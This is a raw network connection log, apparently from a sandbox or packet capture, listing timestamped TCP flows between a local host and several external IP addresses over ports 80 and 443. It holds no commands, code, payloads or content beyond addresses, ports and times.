Oct 24, 2024 18:09:18.150072098 CEST	80	49996	185.215.113.43	192.168.2.6
Oct 24, 2024 18:09:18.150257111 CEST	49996	80	192.168.2.6	185.215.113.43
Oct 24, 2024 18:09:18.153523922 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:18.153909922 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:18.159709930 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:18.159902096 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:18.160151005 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:18.160367966 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:18.160368919 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:18.166661978 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:18.170406103 CEST	443	49995	104.102.49.254	192.168.2.6
Oct 24, 2024 18:09:18.170425892 CEST	443	49995	104.102.49.254	192.168.2.6
Oct 24, 2024 18:09:18.170432091 CEST	443	49995	104.102.49.254	192.168.2.6
Oct 24, 2024 18:09:18.170461893 CEST	443	49995	104.102.49.254	192.168.2.6
Oct 24, 2024 18:09:18.170478106 CEST	443	49995	104.102.49.254	192.168.2.6
Oct 24, 2024 18:09:18.170598030 CEST	49995	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:09:18.170598984 CEST	49995	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:09:18.170598984 CEST	49995	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:09:18.170669079 CEST	443	49995	104.102.49.254	192.168.2.6
Oct 24, 2024 18:09:18.170739889 CEST	49995	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:09:18.287429094 CEST	443	49995	104.102.49.254	192.168.2.6
Oct 24, 2024 18:09:18.287486076 CEST	443	49995	104.102.49.254	192.168.2.6
Oct 24, 2024 18:09:18.287636995 CEST	443	49995	104.102.49.254	192.168.2.6
Oct 24, 2024 18:09:18.287642956 CEST	49995	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:09:18.287642956 CEST	49995	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:09:18.287710905 CEST	49995	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:09:18.287776947 CEST	49995	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:09:18.287822008 CEST	443	49995	104.102.49.254	192.168.2.6
Oct 24, 2024 18:09:18.287853956 CEST	49995	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:09:18.287870884 CEST	443	49995	104.102.49.254	192.168.2.6
Oct 24, 2024 18:09:19.060193062 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.060293913 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.060302019 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.060327053 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.060363054 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.060374022 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.060400963 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.060401917 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.060401917 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.060435057 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.060447931 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.060470104 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.060481071 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.060504913 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.060519934 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.060539007 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.060551882 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.060581923 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.060592890 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.060640097 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.066636086 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.066669941 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.066704988 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.066714048 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.066744089 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.066744089 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.219753981 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.219791889 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.219831944 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.219865084 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.219899893 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.219904900 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.219906092 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.219906092 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.220000029 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.220221996 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.220293999 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.220499992 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.220532894 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.220557928 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.220580101 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.220587969 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.220622063 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.220664978 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.220664978 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.221399069 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.221457958 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.226530075 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.226562977 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.226594925 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.226705074 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.333897114 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.333949089 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.333986044 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.334022999 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.334028006 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.334079981 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.334079981 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.335967064 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.336004019 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.336021900 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.336040974 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.336119890 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.336153030 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.336163998 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.336195946 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.336270094 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.336312056 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.342233896 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.342267990 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.342300892 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.342312098 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.342344046 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.342344046 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.370423079 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.370528936 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.370604038 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.370620012 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.370647907 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.370666981 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.450705051 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.450778008 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.450854063 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.450867891 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.450902939 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.450994968 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.451034069 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.451180935 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.451226950 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.451368093 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.451383114 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.451406956 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.451420069 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.451529026 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.451565981 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.452054024 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.452069998 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.452085018 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.452095032 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.452111006 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.452124119 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.459108114 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.459121943 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.459136963 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.459161997 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.459191084 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.487870932 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.487891912 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.487907887 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.487924099 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.487946033 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.487986088 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.568520069 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.568540096 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.568645000 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.568651915 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.568670988 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.568686008 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.568702936 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.568711996 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.568720102 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.568736076 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.568756104 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.568773031 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.568782091 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.568825006 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.568991899 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.569046021 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.569607019 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.569668055 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.576375961 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.576435089 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.576561928 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.576579094 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.576610088 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.576642990 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.605119944 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.605156898 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.605189085 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.605221987 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.605238914 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.605240107 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.605274916 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.605392933 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.605438948 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.685357094 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.685457945 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.685501099 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.685517073 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.685550928 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.685590982 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.685623884 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.685671091 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.685831070 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.685844898 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.685874939 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.685909986 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.686131001 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.686151028 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.686167955 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.686188936 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.686189890 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.686227083 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.686651945 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.686702013 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.686819077 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.686863899 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.693794966 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.693847895 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.693881989 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.693871975 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.693954945 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.693954945 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.719192982 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.719240904 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.719276905 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.719329119 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.719364882 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.719366074 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.719366074 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.719472885 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.719525099 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.719610929 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.719644070 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.719660044 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.719688892 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.800503969 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.800551891 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.800586939 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.800622940 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.800668955 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.800714970 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.800844908 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.800879002 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.800894022 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.800914049 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.800923109 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.800947905 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.801012993 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.801559925 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.804941893 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.806652069 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.806716919 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.806751013 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.806782961 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.806813955 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.835110903 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.835151911 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.835222960 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.835257053 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.835447073 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.835483074 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.835509062 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.835522890 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.835537910 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.835578918 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.835578918 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.915482044 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.915555000 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.915704012 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.915736914 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.915750027 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.915771961 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.915791988 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.915807962 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.915807962 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.915843964 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.915863037 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.915899992 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.916356087 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.916412115 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.916496992 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.916529894 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.916559935 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.916572094 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.916754961 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.916804075 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.916807890 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.916846991 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.924103022 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.924135923 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.924164057 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.924173117 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.924190998 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.924232960 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.951747894 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.951802969 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.951838017 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.951885939 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.951922894 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.952013969 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.952047110 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.952080011 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:19.952092886 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:19.952990055 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.032207012 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.032289982 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.032321930 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.032394886 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.032408953 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.032429934 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.032460928 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.032571077 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.032572031 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.032948017 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.032979965 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.033005953 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.033005953 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.033010960 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.033030033 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.033502102 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.033555031 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.033833027 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.033864021 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.033890009 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.033916950 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.033917904 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.033966064 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.040498018 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.040533066 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.040570021 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.040610075 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.040647030 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.068567038 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.068597078 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.068609953 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.068624020 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.068692923 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.068816900 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.068846941 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.068871975 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.068872929 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.068891048 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.068943977 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.149283886 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.149327993 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.149363995 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.149414062 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.149415016 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.149415016 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.149449110 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.149482965 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.149509907 CEST	49997	80	192.168.2.6	185.215.113.16
